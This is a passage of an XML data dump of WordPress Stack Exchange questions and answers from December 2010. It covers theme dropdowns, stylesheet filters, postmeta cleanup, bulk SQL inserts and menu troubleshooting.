value=&quot;';&#xA;    echo get_term_link(intval($term-&amp;gt;term_id),$taxonomy);&#xA;    echo '&quot;&amp;gt;' . &quot;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;  }&#xA;  echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can put &lt;code&gt;the_taxonomy_dropdown()&lt;/code&gt; in your theme's &lt;code&gt;functions.php&lt;/code&gt; file and call it from one of your theme's template files like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_taxonomy_dropdown('name of taxonomy'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice I didn't use &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; because it sets the &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt;'s values to &lt;code&gt;term_id&lt;/code&gt; instead of the term's permalink. You need the permalink in order to set the &lt;code&gt;window.location.href&lt;/code&gt; on the client end. Had we used &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; it have would added more complexity; it would have required issuing an HTTP GET request with &lt;code&gt;term_id&lt;/code&gt; to a page on the server that would then redirect to the term's permalink. But it's much easier to just build the HTML &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; ourselves as I did &lt;em&gt;(and it's more peformant, since it doesn't take an extra HTTP request.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, be sure to remember &lt;code&gt;wp_enqueue_script()&lt;/code&gt; jQuery in an &lt;code&gt;'init'&lt;/code&gt; hook, also in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','jquery_init');&#xA;function jquery_init() {&#xA;  wp_enqueue_script('jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-04T08:40:38.577" CommentCount="9" />
  <row Id="4880" PostTypeId="2" ParentId="4873" CreationDate="2010-12-04T09:58:18.243" Score="1" ViewCount="" Body="&lt;p&gt;It is interesting that while WP is capable of and does use script concatenation in admin area - it is not exposed or suggested to be used in site itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose with some tinkering it might be possible to make use of core, but it is way easier to make use of existing plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;, it has extensive CSS/script concatenation support.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-04T09:58:18.243" CommentCount="3" />
  <row Id="4881" PostTypeId="1" CreationDate="2010-12-04T12:11:47.587" Score="1" ViewCount="69" Body="&lt;p&gt;I just moved my WordPress blog from a directory up a folder and I've changed my wp-config.php by adding these 2 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://example.com');&#xA;&#xA;define('WP_SITEURL','http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most things are working fine now, but I'm having trouble creating pages... I can create them without a problem but when I view them it gives me a 404 error. Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should say when I add a page like 'About', the URL: www.example.com/about show's an error page.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-04T12:26:57.830" Title="Moved WP from example.com/blog to example.com, cannot add pages now" Tags="&lt;page&gt;" AnswerCount="1" />
  <row Id="4882" PostTypeId="2" ParentId="4881" CreationDate="2010-12-04T12:26:57.830" Score="1" ViewCount="" Body="&lt;p&gt;Fixed it myself by editing the htaccess ... that I forgot to do.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-04T12:26:57.830" />
  <row Id="4883" PostTypeId="2" ParentId="4201" CreationDate="2010-12-04T12:29:13.647" Score="0" ViewCount="" Body="&lt;p&gt;I think this is bug in WordPress that has been commented on elsewhere, try using the name of the tag rather than the ID then it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; 3,&#xA;    'tag' =&amp;gt; 'review',&#xA;    'cat' =&amp;gt; 9,&#xA;);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on, not sure what happens with tags with multiple words in the name.&lt;/p&gt;&#xA;" OwnerUserId="795" LastActivityDate="2010-12-04T12:29:13.647" />
  <row Id="4884" PostTypeId="2" ParentId="4873" CreationDate="2010-12-04T15:41:15.600" Score="2" ViewCount="" Body="&lt;p&gt;The reason this is not automated is because it would wreak havoc on sites. Many plugins, themes, etc have multiple CSS/JS files that conflict when merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a plugin like the one mentioned above you basically have to add the files manually one by one, and see if it breaks anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative, which is a way better method but time consuming, is to look into the syntax yourself and combine them manually to avoid conflicts.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-04T15:41:15.600" />
  <row Id="4885" PostTypeId="2" ParentId="4852" CreationDate="2010-12-04T16:58:30.077" Score="0" ViewCount="" Body="&lt;p&gt;For my FarmVille site :) I did both but never finished it because I sold it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I read the farmville xml and dumped the data in a custom table&lt;/li&gt;&#xA;&lt;li&gt;In WordPress I had custom fields automatically made for every field in that table (and some extra)&lt;/li&gt;&#xA;&lt;li&gt;Now worry on what happens if a value changes in either the table or on the other side: the custom field since they need to be continuously in sync &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did this because I wanted on the one hand have users edit the wordpress site by entering new farmville data e.g. &quot;a cow costs 10 coins&quot; BUT from the integration side: IF a change in the xml ment the cow now costs &quot;20 coins&quot; (via the front-end editing plugin) that would be given as option after it: so that either the XML OR the user was right (sort of wiki system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is an example when using both.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-12-04T16:58:30.077" />
  <row Id="4886" PostTypeId="2" ParentId="4870" CreationDate="2010-12-04T19:19:08.810" Score="1" ViewCount="" Body="&lt;p&gt;Looks like you're trying to bootstrap WordPress. All you have to do is include the file wp-load.php that's in your WordPress root. This makes most WP functionality (like the WP_Query class) available to your custom script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include('wp-load.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, you'll need to adjust the path to the include, and write your own query/output stuff.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-04T19:19:08.810" />
  <row Id="4887" PostTypeId="2" ParentId="4815" CreationDate="2010-12-04T19:52:13.167" Score="3" ViewCount="" Body="&lt;p&gt;I love that there's such a huge library of 3rd party WP plugins, and I use them often for personal sites and pro-bono work. But I rarely use plugins from the repository for professional development jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, I find that clients have no emotional attachment to WordPress--they just want a CMS. So they tend to be less forgiving of things like donate buttons and brand-named plugin functionality. In fact, it makes them nervous. They just want to see a button labeled &quot;Contact Form&quot;, not &quot;CformsII&quot; or whatever. Plus, enterprise clients have legal departments that are sometimes worried about licensing and ownership of code and all that, and they don't want to have to clear licenses and terms of use for a dozen 3rd party plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the most part, I work from a library of basic, white-label plugins I've developed, and customize them for each client. That way, I know all the code inside and out, and can make customizations very easily and cleanly. And I know there isn't a bunch of junk in there that was designed to accommodate edge cases--just what's needed for the job at hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I definitely LEARN a lot from 3rd party plugins. Often I'll crack open a plugin to see how it works, and then create my own version of it based on what I learned. Then when the need for that functionality arises again, I have something to work with that I built myself, that's free of clutter and attributions, and that is practically invisible to the client.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-04T19:52:13.167" />
  <row Id="4888" PostTypeId="1" AcceptedAnswerId="4894" CreationDate="2010-12-04T23:21:36.913" Score="3" ViewCount="231" Body="&lt;p&gt;I'd like to modify the properties of a registered style(or script - same applies) before it's been loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now i'm trying to modify a registered style just before it gets enqueued, so i can point it at another file(ie. change the &lt;code&gt;src&lt;/code&gt; property, maybe others to). Looking for some ideas specifically about where to hook on and modify the &lt;code&gt;$wp_styles&lt;/code&gt; object so that the enqueue fire as normal, but with my changes to the registered style's properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making an admin color scheme and thought it would be awesome if i could rewrite/tweak the existing enqueue, instead of adding an additional request to every page(ie. colors-fresh.css + my stylesheet - i'd rather have one request, why include the original stylesheet only to redefine every style in another)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unregister the style and register my own? - I'd then have to unregister both color schemes(classic/fresh) when i'd prefer to simply hook on and tweak the styles object before the enqueue fires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it's possible, but simply lacking the brain power to wrap my head around it right now.. (been wired in too long).. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions welcome....  ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-02T17:34:37.973" LastActivityDate="2011-04-17T14:28:56.790" Title="Is it possible to change the attributes of a registered style or script before it fires?" Tags="&lt;customization&gt;&lt;styles&gt;&lt;scripts&gt;&lt;registered&gt;&lt;object&gt;" AnswerCount="2" />
  <row Id="4889" PostTypeId="2" ParentId="4888" CreationDate="2010-12-05T00:03:38.830" Score="2" ViewCount="" Body="&lt;p&gt;You can use the filter &lt;code&gt;wp_admin_css_uri&lt;/code&gt; in the function of the same name which returns the uri of the admin css files. E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_modify_styles( $_file, $file ) {&#xA;    if( 'style' == $file ) // $file = css filename without extension&#xA;        $_file = 'my/new/path/to/style.css';&#xA;    return $_file;&#xA;}&#xA;add_action( 'wp_admin_css_uri', 'custom_modify_styles', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-12-05T00:03:38.830" CommentCount="3" />
  <row Id="4890" PostTypeId="2" ParentId="919" CreationDate="2010-12-05T00:22:13.883" Score="0" ViewCount="" Body="&lt;p&gt;It seems like you're asking about giving users admin permission for one site but not for all of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make a new site, you can assign permissions to certain users, and on a different site, that same user can be assigned a different permission, you can even set it so that all other users besides ones you specify are a certain level automatically.&lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2010-12-05T00:22:13.883" />
  <row Id="4891" PostTypeId="1" CreationDate="2010-12-05T05:01:48.600" Score="0" ViewCount="107" Body="&lt;p&gt;I want to add stack flair in my wordpress site. How can i use that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to put it in right column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone help me with this??&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:34:51.240" LastActivityDate="2011-01-11T07:34:51.240" Title="how to use stack flair in wordpress site" Tags="&lt;widgets&gt;&lt;stackoverflow&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4892" PostTypeId="1" CreationDate="2010-12-05T09:35:04.047" Score="0" ViewCount="354" Body="&lt;p&gt;I'm trying to implement parallax in bp-default theme's header, but facing problem .... &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The page getting glitches, the adminbar is centre aligned but the rest of the content of the page is getting left aligned , the below image show the example ....&#xA;&lt;a href=&quot;http://img822.imageshack.us/img822/1476/bpdparallax.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img822.imageshack.us/img822/1476/bpdparallax.jpg&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cannot change the default header from the &lt;strong&gt;default.css&lt;/strong&gt; file , though I change the background image url under &lt;strong&gt;#header&lt;/strong&gt; to a different file in different location , the page shows the &lt;strong&gt;default_header.jpg&lt;/strong&gt; in every circumstances, even though I &lt;em&gt;hard-refresh&lt;/em&gt; the browser ....&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;the codes I'm using are as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;header.php&#xA;within the &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag between the wp_head() and the end of the head tag I place ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://localhost/swabandhab/wp-content/plugins/buddypress/bp-themes/bp-default/_inc/parallax/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://localhost/swabandhab/wp-content/plugins/buddypress/bp-themes/bp-default/_inc/parallax/jquery.jparallax.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;      jQuery('#parallax').jparallax();&#xA;    }); &#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://localhost/swabandhab/wp-content/plugins/buddypress/bp-themes/bp-default/_inc/parallax/reset-min.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the beginning of the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag just after the &lt;code&gt;&amp;lt;div id=&quot;header&quot;&amp;gt;&lt;/code&gt; I place&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;parallax&quot;&amp;gt;&#xA;         &amp;lt;img src=&quot;http://localhost/swabandhab/wp-content/plugins/buddypress/bp-themes/bp-default/_inc/parallax/bubble3.png&quot;/&amp;gt;&#xA;            &amp;lt;img src=&quot;http://localhost/swabandhab/wp-content/plugins/buddypress/bp-themes/bp-default/_inc/parallax/bubble2.png&quot;/&amp;gt;&#xA;            &amp;lt;img src=&quot;http://localhost/swabandhab/wp-content/plugins/buddypress/bp-themes/bp-default/_inc/parallax/bubble1.png&quot;/&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#parallax {&#xA; width: 960px;&#xA; height: 200px;&#xA; position: relative;&#xA; overflow: hidden;&#xA; margin: 0 auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this css in default.css file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inspite of these problems the parallax animation is working just fine !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong ?&lt;/p&gt;&#xA;" OwnerUserId="1369" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-05T13:46:08.203" LastActivityDate="2011-05-22T03:52:32.447" Title="Problem Implementing parallax in header of bp-default theme" Tags="&lt;jquery&gt;&lt;css&gt;&lt;buddypress&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="4893" PostTypeId="2" ParentId="4891" CreationDate="2010-12-05T10:45:22.167" Score="1" ViewCount="" Body="&lt;p&gt;I think it's pretty self-explanatory, see the SE flair page.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/users/flair&quot;&gt;http://wordpress.stackexchange.com/users/flair&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply copy the provided HTML and paste it into the appropriate template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't down vote, but i can understand why, this is really basic copy and paste HTML..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-05T10:45:22.167" CommentCount="1" />
  <row Id="4894" PostTypeId="2" ParentId="4888" CreationDate="2010-12-05T11:10:01.783" Score="4" ViewCount="" Body="&lt;h1&gt;Modify a registered style's path&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I wanted to tweak the path to one of the WordPress admin stylesheets so i could keep requests down, and because it makes little sense to include two stylesheets, when the one i'm calling redefines all the styling in the stylesheet enqueued by WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is basically to re-point the existing style at a different stylesheet, two hooks are appropriate&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;style_loader_src&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;style_loader_tag&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The former provides just the stylesheet URL(or path) and the handle(that's the name the style is registered with), the latter provides the complete HTML string(and handle) for the stylesheet being included.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to use &lt;code&gt;style_loader_src&lt;/code&gt; to switch the colors stylesheet path(src) because that's literally all i need, to adjust the path and know the current handle, so suits my needs perfectly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example filter that changes the path to the colors stylesheet.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Checks if the handle is the colors stylesheet, and updates the path when it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function switch_stylesheet_src( $src, $handle ) {&#xA;    if( 'colors' == $handle )&#xA;        $src = plugins_url( 'my-colors.css', __FILE__ );&#xA;    return $src;&#xA;}&#xA;add_filter( 'style_loader_src', 'switch_stylesheet_src', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above filter will basically take the existing colors stylesheet output, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='stylesheet' id='colors-css' href='http://example.com/wp-admin/css/colors-fresh.css?ver=20100610' type='text/css' media='all' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And convert it to..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='stylesheet' id='colors-css' href='http://example.com/wp-content/plugins/my-plugin/my-colors.css' type='text/css' media='all' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find this method preferable to enqueuing an additional stylesheet, it's one less requests, and there's far less CSS overrides required in whatever styling you're doing, because you're essentially hijacking that request to load your own stylesheet instead.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-17T14:28:56.790" LastActivityDate="2011-04-17T14:28:56.790" />
  <row Id="4896" PostTypeId="1" AcceptedAnswerId="4899" CreationDate="2010-12-05T15:06:53.870" Score="0" ViewCount="222" Body="&lt;p&gt;I'm working on a site that has been running for few years and had different maintainers so it's kind of a mess. What I found weird is a lot of entries in &lt;code&gt;wp_postmeta&lt;/code&gt; where all the keys are numeric and contain a string like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wpAjaxe17fbeda4c811052694cd66e93bf1868f720040882f22c2bba8432e030f010c8069596982baf4cc001345db989c7f98c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;wpAjax&lt;/code&gt; is the fixed part and the rest is a sequence of hexadecimal values (or so they seem). These entries are 1170 and the &lt;code&gt;meta_key&lt;/code&gt; ranges from 45511 to 46788 and the last post (as in the one with the greatest ID) referred to one of these meta keys is dated almost three years ago, so I think they might have been created by some plugin which has been long forgotten now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to find out if any plugin uses those kind of meta values? I did a search but found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know if they're safe to delete because they seem useless and also mess up the post creation page as they fill the custom field dropdown select (I had to modify the code to exclude numeric meta keys).&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2010-12-07T06:19:04.053" Title="Uknown meta entries in wp_postmeta" Tags="&lt;database&gt;&lt;post-meta&gt;&lt;cleanup&gt;" AnswerCount="3" />
  <row Id="4897" PostTypeId="1" CreationDate="2010-12-05T16:27:34.663" Score="2" ViewCount="452" Body="&lt;p&gt;Anybody can suggest tutorial or URLs where I can find information about how to create custom members area in WP ? I mean when member is logged in I would like to show him something that is different from standard WP members area interface (design).&lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2011-02-03T17:27:52.343" Title="Custom members area (interface/design) in Wordpress, is it possible and how?" Tags="&lt;3.0&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="0" />
  <row Id="4898" PostTypeId="2" ParentId="4896" CreationDate="2010-12-05T16:44:08.063" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the last post (as in the one with the greatest ID) referred to one of these meta keys is dated almost three years ago&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think it's pretty safe to say they're no longer needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps it was a caching method that got deprecated, or, as you suggested, an old plugin.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-05T16:44:08.063" />
  <row Id="4899" PostTypeId="2" ParentId="4896" CreationDate="2010-12-05T17:05:36.970" Score="3" ViewCount="" Body="&lt;p&gt;The best way to know which plugin was adding them is to search/grep your installation for occurrences of &lt;code&gt;'wpAjax'&lt;/code&gt; and &lt;code&gt;&quot;wpAjax&quot;&lt;/code&gt;. If you find none (which is likely, since the oldest is 3 years old) safely &lt;code&gt;delete from wp_postmeta where meta_key like 'wpAjax%'&lt;/code&gt;, or something along those lines, if the latter statement might match something it shouldn't... (Don't forget to flush memcached along the way if you're using it.)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-05T17:05:36.970" CommentCount="1" />
  <row Id="4900" PostTypeId="1" AcceptedAnswerId="4904" CreationDate="2010-12-05T18:33:52.803" Score="1" ViewCount="223" Body="&lt;p&gt;I have a plugin which creates a new database table. Upon activating the plugin is there a way to insert all my posts ids into that table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using an action hook to immediately insert the id of new posts I publish.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function transfer_post_id($post_ID)  {&#xA;global $wpdb;&#xA;   if (!($wpdb-&amp;gt;get_row(&quot;SELECT post_id FROM $my_table WHERE post_id = $post_ID&quot; ) ) ) { //if post id not already added&#xA;      $wpdb-&amp;gt;insert( $my_table, array( 'post_id' =&amp;gt; $post_ID ) );      &#xA;   }&#xA;   return $post_ID;&#xA;}&#xA;&#xA;add_action ( 'publish_post', 'transfer_post_id' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However there are posts before activating the plugin that I need a way to insert without manually updating each one. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2011-05-09T12:48:19.333" Title="Insert all post IDs in new database table" Tags="&lt;php&gt;&lt;query-posts&gt;&lt;hooks&gt;&lt;functions&gt;&lt;mysql&gt;" AnswerCount="3" />
  <row Id="4901" PostTypeId="1" CreationDate="2010-12-05T19:05:58.147" Score="0" ViewCount="229" Body="&lt;p&gt;Hi everyone&#xA;I have created a new WordPress blog at &lt;a href=&quot;http://www.shanytopper.com&quot; rel=&quot;nofollow&quot;&gt;http://www.shanytopper.com&lt;/a&gt; and I have a problem.&#xA;I am using a wp_nav_menu for the main menu in mywebsite (I added the suppert to the theme myself), and it works great, but when I'm at the admin page and trying to make a submenu (some catagories need to be under some other ones) it doesn't seem to work.&#xA;Specificaly, it doesn't allow me to drag the menu item &quot;sideways&quot;, and thus create the second tier. It only allow me to change the order the items show on the menu but on the same tier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea on what my cause this?&#xA;I have tried using a different Theme (that already has Menus support), and yet the problem remains, so I'm doubtfull it's something I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Shany topper &lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-14T07:13:55.950" LastActivityDate="2011-02-14T08:55:59.083" Title="Can't create a SubMenu" Tags="&lt;custom-menus&gt;&lt;menus&gt;&lt;plugin-tpc-memory-usage&gt;" AnswerCount="1" />
  <row Id="4902" PostTypeId="2" ParentId="4900" CreationDate="2010-12-05T19:39:26.790" Score="5" ViewCount="" Body="&lt;p&gt;You can design your table in such a way that an ID can only exists once by using a key. You can then run a insert into query that selects existing ID values directly with a subselect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4900/insert-all-post-ids-in-new-database-table/4904#4904&quot;&gt;credits Denis&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO $mytable (post_id)&#xA;SELECT ID&#xA;FROM $wpdb-&amp;gt;posts as posts&#xA;LEFT JOIN $mytable as dup_check&#xA;ON dup_check.post_id = posts.ID&#xA;WHERE dup_check.post_id IS NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the MySql manual regarding the syntax of the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/insert.html&quot; rel=&quot;nofollow&quot;&gt;INSERT statement&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-05T23:07:59.730" LastActivityDate="2010-12-05T23:07:59.730" />
  <row Id="4903" PostTypeId="2" ParentId="4901" CreationDate="2010-12-05T19:58:47.507" Score="2" ViewCount="" Body="&lt;p&gt;Found out the problem was a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/tpc-memory-usage/&quot; rel=&quot;nofollow&quot;&gt;TPC! Memory Usage&lt;/a&gt;. Not sure on why, but turning it off fixed it, so you know, whatever.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-14T08:55:59.083" LastActivityDate="2011-02-14T08:55:59.083" />
  <row Id="4904" PostTypeId="2" ParentId="4900" CreationDate="2010-12-05T20:08:16.640" Score="6" ViewCount="" Body="&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO $mytable (post_id)&#xA;SELECT ID&#xA;FROM $wpdb-&amp;gt;posts as posts&#xA;LEFT JOIN $mytable as dup_check&#xA;ON dup_check.post_id = posts.ID&#xA;WHERE dup_check.post_id IS NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-05T20:08:16.640" CommentCount="1" />
  <row Id="4905" PostTypeId="2" ParentId="4897" CreationDate="2010-12-05T21:08:49.547" Score="1" ViewCount="" Body="&lt;p&gt;When you will create a brand new area, than it is one solution to use the theme on frontend for the members and make an redirect for the members, maybe differnet in the roles, and leve all members on the frontend. But you can also create new backend-pages and redirect the members to this page. It give also many different plugins for this requirement and tutorials (two examples: &lt;a href=&quot;http://wpengineer.com/1773/use-wordpress-login/&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;http://wpengineer.com/2046/control-the-wordpress-content-via-userrights-or-time/&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;) for start an solution.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-05T21:08:49.547" />
  <row Id="4906" PostTypeId="1" AcceptedAnswerId="4911" CreationDate="2010-12-06T00:55:55.800" Score="0" ViewCount="197" Body="&lt;p&gt;I've got a custom meta box for a custom post type which will be the only metabox I plan to show in the main column (except the native title box).  I want to move the native Expert box/field inside my Custom Meta Box.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to create a field called Excerpt in my Meta Box, however  I only know how to save this to the Custom Fields, not the original location that the native Except saves to.   &lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-06T09:25:19.783" Title="Replace the Post Excerpt Meta Box with a Field in My Custom Meta Box" Tags="&lt;metabox&gt;&lt;excerpt&gt;" AnswerCount="2" />
